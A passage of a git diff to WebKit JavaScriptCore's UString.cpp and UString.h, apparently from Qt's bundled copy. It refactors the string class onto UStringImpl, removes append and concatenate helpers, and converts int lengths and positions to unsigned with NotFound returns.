-    if (aOffset + aSize == aBase->usedCapacity && aSize >= minShareSize && 4 * aSize >= bSize
-        && (-bOffset != bBase->usedPreCapacity || aSize >= bSize) && !aBase->isBufferReadOnly()) {
-        // - a reaches the end of its buffer so it qualifies for shared append
-        // - also, it's at least a quarter the length of b - appending to a much shorter
-        //   string does more harm than good
-        // - however, if b qualifies for prepend and is longer than a, we'd rather prepend
-        
-        UString x(a);
-        x.expandCapacity(newCapacityWithOverflowCheck(aOffset, length));
-        if (!a->data() || !x.data())
-            return 0;
-        copyChars(a->data() + aSize, b->data(), bSize);
-        PassRefPtr<UString::Rep> result = UString::Rep::create(a, 0, length);
-
-        a->checkConsistency();
-        b->checkConsistency();
-        result->checkConsistency();
-
-        return result;
-    }
-
-    if (-bOffset == bBase->usedPreCapacity && bSize >= minShareSize && 4 * bSize >= aSize && !bBase->isBufferReadOnly()) {
-        // - b reaches the beginning of its buffer so it qualifies for shared prepend
-        // - also, it's at least a quarter the length of a - prepending to a much shorter
-        //   string does more harm than good
-        UString y(b);
-        y.expandPreCapacity(-bOffset + aSize);
-        if (!b->data() || !y.data())
-            return 0;
-        copyChars(b->data() - aSize, a->data(), aSize);
-        PassRefPtr<UString::Rep> result = UString::Rep::create(b, -aSize, length);
-
-        a->checkConsistency();
-        b->checkConsistency();
-        result->checkConsistency();
-
-        return result;
-    }
-
-    // a does not qualify for append, and b does not qualify for prepend, gotta make a whole new string
-    size_t newCapacity = expandedSize(length, 0);
-    UChar* d;
-    if (!allocChars(newCapacity).getValue(d))
-        return 0;
-    copyChars(d, a->data(), aSize);
-    copyChars(d + aSize, b->data(), bSize);
-    PassRefPtr<UString::Rep> result = UString::Rep::create(d, length);
-    result->baseString()->capacity = newCapacity;
-
-    a->checkConsistency();
-    b->checkConsistency();
-    result->checkConsistency();
-
-    return result;
-}
-
-PassRefPtr<UString::Rep> concatenate(UString::Rep* rep, int i)
-{
-    UChar buf[1 + sizeof(i) * 3];
-    UChar* end = buf + sizeof(buf) / sizeof(UChar);
-    UChar* p = end;
-  
-    if (i == 0)
-        *--p = '0';
-    else if (i == INT_MIN) {
-        char minBuf[1 + sizeof(i) * 3];
-        sprintf(minBuf, "%d", INT_MIN);
-        return concatenate(rep, minBuf);
-    } else {
-        bool negative = false;
-        if (i < 0) {
-            negative = true;
-            i = -i;
-        }
-        while (i) {
-            *--p = static_cast<unsigned short>((i % 10) + '0');
-            i /= 10;
-        }
-        if (negative)
-            *--p = '-';
-    }
-
-    return concatenate(rep, p, static_cast<int>(end - p));
-
-}
-
-PassRefPtr<UString::Rep> concatenate(UString::Rep* rep, double d)
-{
-    // avoid ever printing -NaN, in JS conceptually there is only one NaN value
-    if (isnan(d))
-        return concatenate(rep, "NaN");
-
-    if (d == 0.0) // stringify -0 as 0
-        d = 0.0;
-
-    char buf[80];
-    int decimalPoint;
-    int sign;
-
-    char result[80];
-    WTF::dtoa(result, d, 0, &decimalPoint, &sign, NULL);
-    int length = static_cast<int>(strlen(result));
-  
-    int i = 0;
-    if (sign)
-        buf[i++] = '-';
-  
-    if (decimalPoint <= 0 && decimalPoint > -6) {
-        buf[i++] = '0';
-        buf[i++] = '.';
-        for (int j = decimalPoint; j < 0; j++)
-            buf[i++] = '0';
-        strcpy(buf + i, result);
-    } else if (decimalPoint <= 21 && decimalPoint > 0) {
-        if (length <= decimalPoint) {
-            strcpy(buf + i, result);
-            i += length;
-            for (int j = 0; j < decimalPoint - length; j++)
-                buf[i++] = '0';
-            buf[i] = '\0';
-        } else {
-            strncpy(buf + i, result, decimalPoint);
-            i += decimalPoint;
-            buf[i++] = '.';
-            strcpy(buf + i, result + decimalPoint);
-        }
-    } else if (result[0] < '0' || result[0] > '9')
-        strcpy(buf + i, result);
-    else {
-        buf[i++] = result[0];
-        if (length > 1) {
-            buf[i++] = '.';
-            strcpy(buf + i, result + 1);
-            i += length - 1;
-        }
-        
-        buf[i++] = 'e';
-        buf[i++] = (decimalPoint >= 0) ? '+' : '-';
-        // decimalPoint can't be more than 3 digits decimal given the
-        // nature of float representation
-        int exponential = decimalPoint - 1;
-        if (exponential < 0)
-            exponential = -exponential;
-        if (exponential >= 100)
-            buf[i++] = static_cast<char>('0' + exponential / 100);
-        if (exponential >= 10)
-            buf[i++] = static_cast<char>('0' + (exponential % 100) / 10);
-        buf[i++] = static_cast<char>('0' + exponential % 10);
-        buf[i++] = '\0';
-    }
-    
-    return concatenate(rep, buf);
 }
 
 UString UString::from(int i)
@@ -919,7 +180,7 @@ UString UString::from(int i)
     UChar buf[1 + sizeof(i) * 3];
     UChar* end = buf + sizeof(buf) / sizeof(UChar);
     UChar* p = end;
-  
+
     if (i == 0)
         *--p = '0';
     else if (i == INT_MIN) {
@@ -940,7 +201,7 @@ UString UString::from(int i)
             *--p = '-';
     }
 
-    return UString(p, static_cast<int>(end - p));
+    return UString(p, static_cast<unsigned>(end - p));
 }
 
 UString UString::from(long long i)
@@ -953,7 +214,7 @@ UString UString::from(long long i)
         *--p = '0';
     else if (i == std::numeric_limits<long long>::min()) {
         char minBuf[1 + sizeof(i) * 3];
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
         snprintf(minBuf, sizeof(minBuf) - 1, "%I64d", std::numeric_limits<long long>::min());
 #else
         snprintf(minBuf, sizeof(minBuf) - 1, "%lld", std::numeric_limits<long long>::min());
@@ -973,15 +234,15 @@ UString UString::from(long long i)
             *--p = '-';
     }
 
-    return UString(p, static_cast<int>(end - p));
+    return UString(p, static_cast<unsigned>(end - p));
 }
 
-UString UString::from(unsigned int u)
+UString UString::from(unsigned u)
 {
     UChar buf[sizeof(u) * 3];
     UChar* end = buf + sizeof(buf) / sizeof(UChar);
     UChar* p = end;
-    
+
     if (u == 0)
         *--p = '0';
     else {
@@ -990,8 +251,8 @@ UString UString::from(unsigned int u)
             u /= 10;
         }
     }
-    
-    return UString(p, static_cast<int>(end - p));
+
+    return UString(p, static_cast<unsigned>(end - p));
 }
 
 UString UString::from(long l)
@@ -1020,264 +281,21 @@ UString UString::from(long l)
             *--p = '-';
     }
 
-    return UString(p, static_cast<int>(end - p));
+    return UString(p, end - p);
 }
 
 UString UString::from(double d)
 {
-    // avoid ever printing -NaN, in JS conceptually there is only one NaN value
-    if (isnan(d))
-        return "NaN";
-    if (!d)
-        return "0"; // -0 -> "0"
-
-    char buf[80];
-    int decimalPoint;
-    int sign;
-    
-    char result[80];
-    WTF::dtoa(result, d, 0, &decimalPoint, &sign, NULL);
-    int length = static_cast<int>(strlen(result));
-  
-    int i = 0;
-    if (sign)
-        buf[i++] = '-';
-  
-    if (decimalPoint <= 0 && decimalPoint > -6) {
-        buf[i++] = '0';
-        buf[i++] = '.';
-        for (int j = decimalPoint; j < 0; j++)
-            buf[i++] = '0';
-        strcpy(buf + i, result);
-    } else if (decimalPoint <= 21 && decimalPoint > 0) {
-        if (length <= decimalPoint) {
-            strcpy(buf + i, result);
-            i += length;
-            for (int j = 0; j < decimalPoint - length; j++)
-                buf[i++] = '0';
-            buf[i] = '\0';
-        } else {
-            strncpy(buf + i, result, decimalPoint);
-            i += decimalPoint;
-            buf[i++] = '.';
-            strcpy(buf + i, result + decimalPoint);
-        }
-    } else if (result[0] < '0' || result[0] > '9')
-        strcpy(buf + i, result);
-    else {
-        buf[i++] = result[0];
-        if (length > 1) {
-            buf[i++] = '.';
-            strcpy(buf + i, result + 1);
-            i += length - 1;
-        }
-        
-        buf[i++] = 'e';
-        buf[i++] = (decimalPoint >= 0) ? '+' : '-';
-        // decimalPoint can't be more than 3 digits decimal given the
-        // nature of float representation
-        int exponential = decimalPoint - 1;
-        if (exponential < 0)
-            exponential = -exponential;
-        if (exponential >= 100)
-            buf[i++] = static_cast<char>('0' + exponential / 100);
-        if (exponential >= 10)
-            buf[i++] = static_cast<char>('0' + (exponential % 100) / 10);
-        buf[i++] = static_cast<char>('0' + exponential % 10);
-        buf[i++] = '\0';
-    }
-    
-    return UString(buf);
-}
-
-UString UString::spliceSubstringsWithSeparators(const Range* substringRanges, int rangeCount, const UString* separators, int separatorCount) const
-{
-    m_rep->checkConsistency();
-
-    if (rangeCount == 1 && separatorCount == 0) {
-        int thisSize = size();
-        int position = substringRanges[0].position;
-        int length = substringRanges[0].length;
-        if (position <= 0 && length >= thisSize)
-            return *this;
-        return UString::Rep::create(m_rep, max(0, position), min(thisSize, length));
-    }
-
-    int totalLength = 0;
-    for (int i = 0; i < rangeCount; i++)
-        totalLength += substringRanges[i].length;
-    for (int i = 0; i < separatorCount; i++)
-        totalLength += separators[i].size();
-
-    if (totalLength == 0)
-        return "";
-
-    UChar* buffer;
-    if (!allocChars(totalLength).getValue(buffer))
-        return null();
-
-    int maxCount = max(rangeCount, separatorCount);
-    int bufferPos = 0;
-    for (int i = 0; i < maxCount; i++) {
-        if (i < rangeCount) {
-            copyChars(buffer + bufferPos, data() + substringRanges[i].position, substringRanges[i].length);
-            bufferPos += substringRanges[i].length;
-        }
-        if (i < separatorCount) {
-            copyChars(buffer + bufferPos, separators[i].data(), separators[i].size());
-            bufferPos += separators[i].size();
-        }
-    }
-
-    return UString::Rep::create(buffer, totalLength);
-}
-
-UString UString::replaceRange(int rangeStart, int rangeLength, const UString& replacement) const
-{
-    m_rep->checkConsistency();
-
-    int replacementLength = replacement.size();
-    int totalLength = size() - rangeLength + replacementLength;
-    if (totalLength == 0)
-        return "";
-
-    UChar* buffer;
-    if (!allocChars(totalLength).getValue(buffer))
-        return null();
-
-    copyChars(buffer, data(), rangeStart);
-    copyChars(buffer + rangeStart, replacement.data(), replacementLength);
-    int rangeEnd = rangeStart + rangeLength;
-    copyChars(buffer + rangeStart + replacementLength, data() + rangeEnd, size() - rangeEnd);
-
-    return UString::Rep::create(buffer, totalLength);
-}
-
-
-UString& UString::append(const UString &t)
-{
-    m_rep->checkConsistency();
-    t.rep()->checkConsistency();
-
-    int thisSize = size();
-    int thisOffset = m_rep->offset;
-    int tSize = t.size();
-    int length = thisSize + tSize;
-    BaseString* base = m_rep->baseString();
-
-    // possible cases:
-    if (thisSize == 0) {
-        // this is empty
-        *this = t;
-    } else if (tSize == 0) {
-        // t is empty
-    } else if (m_rep == base && !base->isShared()) {
-        // this is direct and has refcount of 1 (so we can just alter it directly)
-        expandCapacity(newCapacityWithOverflowCheck(thisOffset, length));
-        if (data()) {
-            copyChars(m_rep->data() + thisSize, t.data(), tSize);
-            m_rep->len = length;
-            m_rep->_hash = 0;
-        }
-    } else if (thisOffset + thisSize == base->usedCapacity && thisSize >= minShareSize && !base->isBufferReadOnly()) {
-        // this reaches the end of the buffer - extend it if it's long enough to append to
-        expandCapacity(newCapacityWithOverflowCheck(thisOffset, length));
-        if (data()) {
-            copyChars(m_rep->data() + thisSize, t.data(), tSize);
-            m_rep = Rep::create(m_rep, 0, length);
-        }
-    } else {
-        // This is shared in some way that prevents us from modifying base, so we must make a whole new string.
-        size_t newCapacity = expandedSize(length, 0);
-        UChar* d;
-        if (!allocChars(newCapacity).getValue(d))
-            makeNull();
-        else {
-            copyChars(d, data(), thisSize);
-            copyChars(d + thisSize, t.data(), tSize);
-            m_rep = Rep::create(d, length);
-            m_rep->baseString()->capacity = newCapacity;
-        }
-    }
-
-    m_rep->checkConsistency();
-    t.rep()->checkConsistency();
-
-    return *this;
-}
-
-UString& UString::append(const UChar* tData, int tSize)
-{
-    m_rep = concatenate(m_rep.release(), tData, tSize);
-    return *this;
-}
-
-UString& UString::append(const char* t)
-{
-    m_rep = concatenate(m_rep.release(), t);
-    return *this;
-}
-
-UString& UString::append(UChar c)
-{
-    m_rep->checkConsistency();
-
-    int thisOffset = m_rep->offset;
-    int length = size();
-    BaseString* base = m_rep->baseString();
-
-    // possible cases:
-    if (length == 0) {
-        // this is empty - must make a new m_rep because we don't want to pollute the shared empty one 
-        size_t newCapacity = expandedSize(1, 0);
-        UChar* d;
-        if (!allocChars(newCapacity).getValue(d))
-            makeNull();
-        else {
-            d[0] = c;
-            m_rep = Rep::create(d, 1);
-            m_rep->baseString()->capacity = newCapacity;
-        }
-    } else if (m_rep == base && !base->isShared()) {
-        // this is direct and has refcount of 1 (so we can just alter it directly)
-        expandCapacity(newCapacityWithOverflowCheck(thisOffset, length, true));
-        UChar* d = m_rep->data();
-        if (d) {
-            d[length] = c;
-            m_rep->len = length + 1;
-            m_rep->_hash = 0;
-        }
-    } else if (thisOffset + length == base->usedCapacity && length >= minShareSize && !base->isBufferReadOnly()) {
-        // this reaches the end of the string - extend it and share
-        expandCapacity(newCapacityWithOverflowCheck(thisOffset, length, true));
-        UChar* d = m_rep->data();
-        if (d) {
-            d[length] = c;
-            m_rep = Rep::create(m_rep, 0, length + 1);
-        }
-    } else {
-        // This is shared in some way that prevents us from modifying base, so we must make a whole new string.
-        size_t newCapacity = expandedSize(length + 1, 0);
-        UChar* d;
-        if (!allocChars(newCapacity).getValue(d))
-            makeNull();
-        else {
-            copyChars(d, data(), length);
-            d[length] = c;
-            m_rep = Rep::create(d, length + 1);
-            m_rep->baseString()->capacity = newCapacity;
-        }
-    }
-
-    m_rep->checkConsistency();
-
-    return *this;
+    DtoaBuffer buffer;
+    unsigned length;
+    doubleToStringInJavaScriptFormat(d, buffer, &length);
+    return UString(buffer, length);
 }
 
 bool UString::getCString(CStringBuffer& buffer) const
 {
-    int length = size();
-    int neededSize = length + 1;
+    unsigned length = size();
+    unsigned neededSize = length + 1;
     buffer.resize(neededSize);
     char* buf = buffer.data();
 
@@ -1299,13 +317,15 @@ bool UString::getCString(CStringBuffer& buffer) const
 
 char* UString::ascii() const
 {
-    int length = size();
-    int neededSize = length + 1;
-    delete[] statBuffer;
-    statBuffer = new char[neededSize];
+    static char* asciiBuffer = 0;
+
+    unsigned length = size();
+    unsigned neededSize = length + 1;
+    delete[] asciiBuffer;
+    asciiBuffer = new char[neededSize];
 
     const UChar* p = data();
-    char* q = statBuffer;
+    char* q = asciiBuffer;
     const UChar* limit = p + length;
     while (p != limit) {
         *q = static_cast<char>(p[0]);
@@ -1314,39 +334,7 @@ char* UString::ascii() const
     }
     *q = '\0';
 
-    return statBuffer;
-}
-
-UString& UString::operator=(const char* c)
-{
-    if (!c) {
-        m_rep = &Rep::null();
-        return *this;
-    }
-
-    if (!c[0]) {
-        m_rep = &Rep::empty();
-        return *this;
-    }
-
-    int l = static_cast<int>(strlen(c));
-    UChar* d;
-    BaseString* base = m_rep->baseString();
-    if (!base->isShared() && l <= base->capacity && m_rep == base && m_rep->offset == 0 && base->preCapacity == 0) {
-        d = base->buf;
-        m_rep->_hash = 0;
-        m_rep->len = l;
-    } else {
-        if (!allocChars(l).getValue(d)) {
-            makeNull();
-            return *this;
-        }
-        m_rep = Rep::create(d, l);
-    }
-    for (int i = 0; i < l; i++)
-        d[i] = static_cast<unsigned char>(c[i]); // use unsigned char to zero-extend instead of sign-extend
-
-    return *this;
+    return asciiBuffer;
 }
 
 bool UString::is8Bit() const
@@ -1362,7 +350,7 @@ bool UString::is8Bit() const
     return true;
 }
 
-UChar UString::operator[](int pos) const
+UChar UString::operator[](unsigned pos) const
 {
     if (pos >= size())
         return '\0';
@@ -1502,10 +490,10 @@ uint32_t UString::toStrictUInt32(bool* ok) const
         *ok = false;
 
     // Empty string is not OK.
-    int len = m_rep->len;
+    unsigned len = m_rep->length();
     if (len == 0)
         return 0;
-    const UChar* p = m_rep->data();
+    const UChar* p = m_rep->characters();
     unsigned short c = p[0];
 
     // If the first digit is 0, only 0 itself is OK.
@@ -1546,102 +534,92 @@ uint32_t UString::toStrictUInt32(bool* ok) const
     }
 }
 
-int UString::find(const UString& f, int pos) const
+unsigned UString::find(const UString& f, unsigned pos) const
 {
-    int fsz = f.size();
-
-    if (pos < 0)
-        pos = 0;
+    unsigned fsz = f.size();
 
     if (fsz == 1) {
         UChar ch = f[0];
         const UChar* end = data() + size();
         for (const UChar* c = data() + pos; c < end; c++) {
             if (*c == ch)
-                return static_cast<int>(c - data());
+                return static_cast<unsigned>(c - data());
         }
-        return -1;
+        return NotFound;
     }
 
-    int sz = size();
+    unsigned sz = size();
     if (sz < fsz)
-        return -1;
+        return NotFound;
     if (fsz == 0)
         return pos;
     const UChar* end = data() + sz - fsz;
-    int fsizeminusone = (fsz - 1) * sizeof(UChar);
+    unsigned fsizeminusone = (fsz - 1) * sizeof(UChar);
     const UChar* fdata = f.data();
     unsigned short fchar = fdata[0];
     ++fdata;
     for (const UChar* c = data() + pos; c <= end; c++) {
         if (c[0] == fchar && !memcmp(c + 1, fdata, fsizeminusone))
-            return static_cast<int>(c - data());
+            return static_cast<unsigned>(c - data());
     }
 
-    return -1;
+    return NotFound;
 }
 
-int UString::find(UChar ch, int pos) const
+unsigned UString::find(UChar ch, unsigned pos) const
 {
-    if (pos < 0)
-        pos = 0;
     const UChar* end = data() + size();
     for (const UChar* c = data() + pos; c < end; c++) {
         if (*c == ch)
-            return static_cast<int>(c - data());
+            return static_cast<unsigned>(c - data());
     }
-    
-    return -1;
+
+    return NotFound;
 }
 
-int UString::rfind(const UString& f, int pos) const
+unsigned UString::rfind(const UString& f, unsigned pos) const
 {
-    int sz = size();
-    int fsz = f.size();
+    unsigned sz = size();
+    unsigned fsz = f.size();
     if (sz < fsz)
-        return -1;
-    if (pos < 0)
-        pos = 0;
+        return NotFound;
     if (pos > sz - fsz)
         pos = sz - fsz;
     if (fsz == 0)
         return pos;
-    int fsizeminusone = (fsz - 1) * sizeof(UChar);
+    unsigned fsizeminusone = (fsz - 1) * sizeof(UChar);
     const UChar* fdata = f.data();
     for (const UChar* c = data() + pos; c >= data(); c--) {
         if (*c == *fdata && !memcmp(c + 1, fdata + 1, fsizeminusone))
-            return static_cast<int>(c - data());
+            return static_cast<unsigned>(c - data());
     }
 
-    return -1;
+    return NotFound;
 }
 
-int UString::rfind(UChar ch, int pos) const
+unsigned UString::rfind(UChar ch, unsigned pos) const
 {
     if (isEmpty())
-        return -1;
+        return NotFound;
     if (pos + 1 >= size())
         pos = size() - 1;
     for (const UChar* c = data() + pos; c >= data(); c--) {
         if (*c == ch)
-            return static_cast<int>(c - data());
+            return static_cast<unsigned>(c - data());
     }
 
-    return -1;
+    return NotFound;
 }
 
-UString UString::substr(int pos, int len) const
+UString UString::substr(unsigned pos, unsigned len) const
 {
-    int s = size();
+    unsigned s = size();
 
-    if (pos < 0)
-        pos = 0;
-    else if (pos >= s)
+    if (pos >= s)
         pos = s;
-    if (len < 0)
-        len = s;
-    if (pos + len >= s)
-        len = s - pos;
+    unsigned limit = s - pos;
+    if (len > limit)
+        len = limit;
 
     if (pos == 0 && len == s)
         return *this;
@@ -1668,12 +646,12 @@ bool operator==(const UString& s1, const char *s2)
 
 bool operator<(const UString& s1, const UString& s2)
 {
-    const int l1 = s1.size();
-    const int l2 = s2.size();
-    const int lmin = l1 < l2 ? l1 : l2;
+    const unsigned l1 = s1.size();
+    const unsigned l2 = s2.size();
+    const unsigned lmin = l1 < l2 ? l1 : l2;
     const UChar* c1 = s1.data();
     const UChar* c2 = s2.data();
-    int l = 0;
+    unsigned l = 0;
     while (l < lmin && *c1 == *c2) {
         c1++;
         c2++;
@@ -1687,12 +665,12 @@ bool operator<(const UString& s1, const UString& s2)
 
 bool operator>(const UString& s1, const UString& s2)
 {
-    const int l1 = s1.size();
-    const int l2 = s2.size();
-    const int lmin = l1 < l2 ? l1 : l2;
+    const unsigned l1 = s1.size();
+    const unsigned l2 = s2.size();
+    const unsigned lmin = l1 < l2 ? l1 : l2;
     const UChar* c1 = s1.data();
     const UChar* c2 = s2.data();
-    int l = 0;
+    unsigned l = 0;
     while (l < lmin && *c1 == *c2) {
         c1++;
         c2++;
@@ -1706,12 +684,12 @@ bool operator>(const UString& s1, const UString& s2)
 
 int compare(const UString& s1, const UString& s2)
 {
-    const int l1 = s1.size();
-    const int l2 = s2.size();
-    const int lmin = l1 < l2 ? l1 : l2;
+    const unsigned l1 = s1.size();
+    const unsigned l2 = s2.size();
+    const unsigned lmin = l1 < l2 ? l1 : l2;
     const UChar* c1 = s1.data();
     const UChar* c2 = s2.data();
-    int l = 0;
+    unsigned l = 0;
     while (l < lmin && *c1 == *c2) {
         c1++;
         c2++;
@@ -1729,12 +707,12 @@ int compare(const UString& s1, const UString& s2)
 
 bool equal(const UString::Rep* r, const UString::Rep* b)
 {
-    int length = r->len;
-    if (length != b->len)
+    unsigned length = r->length();
+    if (length != b->length())
         return false;
-    const UChar* d = r->data();
-    const UChar* s = b->data();
-    for (int i = 0; i != length; ++i) {
+    const UChar* d = r->characters();
+    const UChar* s = b->characters();
+    for (unsigned i = 0; i != length; ++i) {
         if (d[i] != s[i])
             return false;
     }
@@ -1744,7 +722,7 @@ bool equal(const UString::Rep* r, const UString::Rep* b)
 CString UString::UTF8String(bool strict) const
 {
     // Allocate a buffer big enough to hold all the characters.
-    const int length = size();
+    const unsigned length = size();
     Vector<char, 1024> buffer(length * 3);
 
     // Convert to runs of 8-bit characters.
@@ -1757,16 +735,4 @@ CString UString::UTF8String(bool strict) const
     return CString(buffer.data(), p - buffer.data());
 }
 
-// For use in error handling code paths -- having this not be inlined helps avoid PIC branches to fetch the global on Mac OS X.
-NEVER_INLINE void UString::makeNull()
-{
-    m_rep = &Rep::null();
-}
-
-// For use in error handling code paths -- having this not be inlined helps avoid PIC branches to fetch the global on Mac OS X.
-NEVER_INLINE UString::Rep* UString::nullRep()
-{
-    return &Rep::null();
-}
-
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/UString.h b/src/3rdparty/webkit/JavaScriptCore/runtime/UString.h
index c4dad2a..e616201 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/UString.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/UString.h
@@ -24,13 +24,13 @@
 #define UString_h
 
 #include "Collector.h"
+#include "UStringImpl.h"
 #include <stdint.h>
 #include <string.h>
 #include <wtf/Assertions.h>
 #include <wtf/CrossThreadRefCounted.h>
 #include <wtf/OwnFastMallocPtr.h>
 #include <wtf/PassRefPtr.h>
-#include <wtf/PtrAndFlags.h>
 #include <wtf/RefPtr.h>
 #include <wtf/Vector.h>
 #include <wtf/unicode/Unicode.h>
@@ -40,8 +40,6 @@ namespace JSC {
     using WTF::PlacementNewAdoptType;
     using WTF::PlacementNewAdopt;
 
-    class IdentifierTable;
-  
     class CString {
     public:
         CString()
@@ -71,223 +69,50 @@ namespace JSC {
         char* m_data;
     };
 
+    bool operator==(const CString&, const CString&);
+
     typedef Vector<char, 32> CStringBuffer;
 
     class UString {
         friend class JIT;
 
     public:
-        typedef CrossThreadRefCounted<OwnFastMallocPtr<UChar> > SharedUChar;
-        struct BaseString;
-        struct Rep : Noncopyable {
-            friend class JIT;
-
-            static PassRefPtr<Rep> create(UChar* buffer, int length)
-            {
-                return adoptRef(new BaseString(buffer, length));
-            }
-
-            static PassRefPtr<Rep> createEmptyBuffer(size_t size)
-            {
-                // Guard against integer overflow
-                if (size < (std::numeric_limits<size_t>::max() / sizeof(UChar))) {
-                    void* buf = 0;
-                    if (tryFastMalloc(size * sizeof(UChar)).getValue(buf))
-                        return adoptRef(new BaseString(static_cast<UChar*>(buf), 0, size));
-                }
-                return adoptRef(new BaseString(0, 0, 0));
-            }
-
-            static PassRefPtr<Rep> createCopying(const UChar*, int);
-            static PassRefPtr<Rep> create(PassRefPtr<Rep> base, int offset, int length);
-
-            // Constructs a string from a UTF-8 string, using strict conversion (see comments in UTF8.h).
-            // Returns UString::Rep::null for null input or conversion failure.
-            static PassRefPtr<Rep> createFromUTF8(const char*);
-
-            // Uses SharedUChar to have joint ownership over the UChar*.
-            static PassRefPtr<Rep> create(UChar*, int, PassRefPtr<SharedUChar>);
-
-            SharedUChar* sharedBuffer();
-            void destroy();
-
-            bool baseIsSelf() const { return m_identifierTableAndFlags.isFlagSet(BaseStringFlag); }
-            UChar* data() const;
-            int size() const { return len; }
-
-            unsigned hash() const { if (_hash == 0) _hash = computeHash(data(), len); return _hash; }
-            unsigned computedHash() const { ASSERT(_hash); return _hash; } // fast path for Identifiers
-
-            static unsigned computeHash(const UChar*, int length);
-            static unsigned computeHash(const char*, int length);
-            static unsigned computeHash(const char* s) { return computeHash(s, strlen(s)); }
-
-            IdentifierTable* identifierTable() const { return m_identifierTableAndFlags.get(); }
-            void setIdentifierTable(IdentifierTable* table) { ASSERT(!isStatic()); m_identifierTableAndFlags.set(table); }
-
-            bool isStatic() const { return m_identifierTableAndFlags.isFlagSet(StaticFlag); }
-            void setStatic(bool);
-            void setBaseString(PassRefPtr<BaseString>);
-            BaseString* baseString();
-            const BaseString* baseString() const;
-
-            Rep* ref() { ++rc; return this; }
-            ALWAYS_INLINE void deref() { if (--rc == 0) destroy(); }
-
-            void checkConsistency() const;
-            enum UStringFlags {
-                StaticFlag,
-                BaseStringFlag
-            };
-
-            // unshared data
-            int offset;
-            int len;
-            int rc; // For null and empty static strings, this field does not reflect a correct count, because ref/deref are not thread-safe. A special case in destroy() guarantees that these do not get deleted.
-            mutable unsigned _hash;
-            PtrAndFlags<IdentifierTable, UStringFlags> m_identifierTableAndFlags;
-
-            static BaseString& null() { return *nullBaseString; }
-            static BaseString& empty() { return *emptyBaseString; }
-
-            bool reserveCapacity(int capacity);
-
-        protected:
-            // Constructor for use by BaseString subclass; they use the union with m_baseString for another purpose.
-            Rep(int length)
-                : offset(0)
-                , len(length)
-                , rc(1)
-                , _hash(0)
-                , m_baseString(0)
-            {
-            }
-
-            Rep(PassRefPtr<BaseString> base, int offsetInBase, int length)
-                : offset(offsetInBase)
-                , len(length)
-                , rc(1)
-                , _hash(0)
-                , m_baseString(base.releaseRef())
-            {
-                checkConsistency();
-            }
-
-            union {
-                // If !baseIsSelf()
-                BaseString* m_baseString;
-                // If baseIsSelf()
-                SharedUChar* m_sharedBuffer;
-            };
-
-        private:
-            // For SmallStringStorage which allocates an array and does initialization manually.
-            Rep() { }
-
-            friend class SmallStringsStorage;
-            friend void initializeUString();
-            JS_EXPORTDATA static BaseString* nullBaseString;
-            JS_EXPORTDATA static BaseString* emptyBaseString;
-        };
-
-
-        struct BaseString : public Rep {
-            bool isShared() { return rc != 1 || isBufferReadOnly(); }
-            void setSharedBuffer(PassRefPtr<SharedUChar>);
-
-            bool isBufferReadOnly()
-            {
-                if (!m_sharedBuffer)
-                    return false;
-                return slowIsBufferReadOnly();
-            }
-
-            // potentially shared data.
-            UChar* buf;
-            int preCapacity;
-            int usedPreCapacity;
-            int capacity;
-            int usedCapacity;
-
-            size_t reportedCost;
-
-        private:
-            BaseString(UChar* buffer, int length, int additionalCapacity = 0)
-                : Rep(length)
-                , buf(buffer)
-                , preCapacity(0)
-                , usedPreCapacity(0)
-                , capacity(length + additionalCapacity)
-                , usedCapacity(length)
-                , reportedCost(0)
-            {
-                m_identifierTableAndFlags.setFlag(BaseStringFlag);
-                checkConsistency();
-            }
-
-            SharedUChar* sharedBuffer();
-            bool slowIsBufferReadOnly();
-
-            friend struct Rep;
-            friend class SmallStringsStorage;
-            friend void initializeUString();
-        };
-
+        typedef UStringImpl Rep;
+    
     public:
         UString();
-        UString(const char*);
-        UString(const UChar*, int length);
-        UString(UChar*, int length, bool copy);
+        UString(const char*); // Constructor for null-terminated string.
+        UString(const char*, unsigned length);
+        UString(const UChar*, unsigned length);
+        UString(const Vector<UChar>& buffer);
 
         UString(const UString& s)
             : m_rep(s.m_rep)
         {
         }
 
-        UString(const Vector<UChar>& buffer);
+        // Special constructor for cases where we overwrite an object in place.
+        UString(PlacementNewAdoptType)
+            : m_rep(PlacementNewAdopt)
+        {
+        }
 
         ~UString()
         {
         }
 
-        // Special constructor for cases where we overwrite an object in place.
-        UString(PlacementNewAdoptType)
-            : m_rep(PlacementNewAdopt)
+        template<size_t inlineCapacity>
+        static PassRefPtr<UStringImpl> adopt(Vector<UChar, inlineCapacity>& vector)
         {
+            return Rep::adopt(vector);
         }
 
         static UString from(int);
         static UString from(long long);
-        static UString from(unsigned int);
+        static UString from(unsigned);
         static UString from(long);
         static UString from(double);
 
-        struct Range {
-        public:
-            Range(int pos, int len)
-                : position(pos)
-                , length(len)
-            {
-            }
-
-            Range()
-            {
-            }
-
-            int position;
-            int length;
-        };
-
-        UString spliceSubstringsWithSeparators(const Range* substringRanges, int rangeCount, const UString* separators, int separatorCount) const;
-
-        UString replaceRange(int rangeStart, int RangeEnd, const UString& replacement) const;
-
-        UString& append(const UString&);
-        UString& append(const char*);
-        UString& append(UChar);
-        UString& append(char c) { return append(static_cast<UChar>(static_cast<unsigned char>(c))); }
-        UString& append(const UChar*, int size);
-
         bool getCString(CStringBuffer&) const;
 
         // NOTE: This method should only be used for *debugging* purposes as it
@@ -304,21 +129,16 @@ namespace JSC {
          */
         CString UTF8String(bool strict = false) const;
 
-        UString& operator=(const char*c);
-
-        UString& operator+=(const UString& s) { return append(s); }
-        UString& operator+=(const char* s) { return append(s); }
-
-        const UChar* data() const { return m_rep->data(); }
+        const UChar* data() const { return m_rep->characters(); }
 
-        bool isNull() const { return (m_rep == &Rep::null()); }
-        bool isEmpty() const { return (!m_rep->len); }
+        bool isNull() const { return m_rep == s_nullRep; }
+        bool isEmpty() const { return !m_rep->length(); }
 
         bool is8Bit() const;
 
-        int size() const { return m_rep->size(); }
+        unsigned size() const { return m_rep->length(); }
 
-        UChar operator[](int pos) const;
+        UChar operator[](unsigned pos) const;
 
         double toDouble(bool tolerateTrailingJunk, bool tolerateEmptyString) const;
         double toDouble(bool tolerateTrailingJunk) const;
@@ -330,17 +150,17 @@ namespace JSC {
 
         unsigned toArrayIndex(bool* ok = 0) const;
 
-        int find(const UString& f, int pos = 0) const;
-        int find(UChar, int pos = 0) const;
-        int rfind(const UString& f, int pos) const;
